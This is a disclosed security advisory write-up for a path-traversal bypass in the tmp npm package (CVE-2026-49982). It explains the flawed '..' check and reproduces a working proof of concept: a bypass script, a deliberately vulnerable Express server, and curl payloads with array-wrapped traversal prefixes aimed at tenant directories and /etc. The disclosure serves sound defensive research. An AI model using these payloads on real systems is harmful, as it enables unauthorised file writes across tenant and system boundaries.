# tmp: Type-confusion bypass of _assertPath allows path traversal via non-string prefix/postfix/template

tmp@0.2.6's _assertPath only checks string.includes('..'), so array/object prefix values bypass it and path.join coerces them into traversal, creating files outside tmpdir.

- Payout: Research
- Severity: high
- Program: tmp
- Found by: tonghuaroot
- Disclosed: 2026-06-15
- CVE: CVE-2026-49982
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-7c78-jf6q-g5cm
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-7c78-jf6q-g5cm
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:path-traversal

**Target:** tmp npm package
**Root cause:** _assertPath assumes a string and calls .includes('..'); arrays use element-equality includes and objects can duck-type includes to return false, while later Array.join/String coercion still yields '../'.
**Steps:**
1. Install tmp@0.2.6 and call `tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' })` — blocked with 'Relative value not allowed'.
2. Call `tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] })` — array includes('..') is false, guard passes.
3. Observe file created at `/private/tmp/escape-...`, outside baseDir (ESCAPED: true).
4. Alternatively pass `prefix: { toString: () => '../escape', includes: () => false }` — also bypasses.
5. End-to-end: Express app forwarding `req.body.prefix` into `tmp.file`; POST `{"prefix":["../escape-array"]}` creates file outside tenant base with attacker content.
6. Multi-level: `{"prefix":["../../../etc/poc-tmp-bypass"]}` reaches fs.open on /etc path, failing only on POSIX permissions.
**How found:** Noticed the 0.2.6 guard only rejects strings containing '..' and reasoned that non-string types with different includes semantics (array element equality, duck-typed object) would pass while still coercing to a traversal string in join/path.join.
**Exploitation:** Attacker supplies a JSON body or qs bracket-array query param that the app forwards uncoerced into tmp.file/dir; the array/object passes the substring guard but stringifies to '../...', so the process creates attacker-content files or directories at an attacker-chosen path with its own privileges, crossing tenant boundaries or writing into source trees/web roots.
**Escalation:** Directory creation via tmp.dir can host a subsequent symlink swap; root-run processes or world-writable targets allow arbitrary path writes.
**Insight:** When a security guard calls a method like includes/startsWith on an input, check whether the input's type is enforced — arrays and duck-typed objects redefine those methods' semantics while still stringifying to the dangerous value downstream.

## Proof of concept (copied exactly from the original report)

**PoC script with array and duck-typed object bypass**

```
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');

const baseDir = fs.mkdtempSync('/tmp/safe-base-');

console.log('[negative control] string "../escape" - must be blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
  console.log('  UNEXPECTED, file at:', r.name);
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED as expected:', e.message);
}

console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
  const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}

console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
  const r = tmp.fileSync({
    tmpdir: baseDir,
    prefix: { toString: () => '../escape', includes: () => false }
  });
  console.log('  CREATED at:', r.name);
  console.log('  ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
  r.removeCallback();
} catch (e) {
  console.log('  BLOCKED:', e.message);
}
```

**Express victim server forwarding JSON prefix to tmp.file**

```
const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');

const app = express();
app.use(express.json());

const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);

app.post('/upload', (req, res) => {
  const userPrefix = req.body.prefix;  // attacker-controlled
  console.log('[victim] received prefix:', JSON.stringify(userPrefix),
              '(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');

  tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
    if (err) {
      console.log('[victim] tmp error:', err.message);
      return res.status(400).json({ error: err.message });
    }
    fs.writeSync(fd, 'attacker-controlled-content');
    fs.closeSync(fd);
    const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
    console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
    res.json({ filepath, escaped, tenantBase: TENANT_BASE });
  });
});

app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));
```

**curl requests demonstrating array prefix traversal**

```
echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload

echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
  -d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload
```

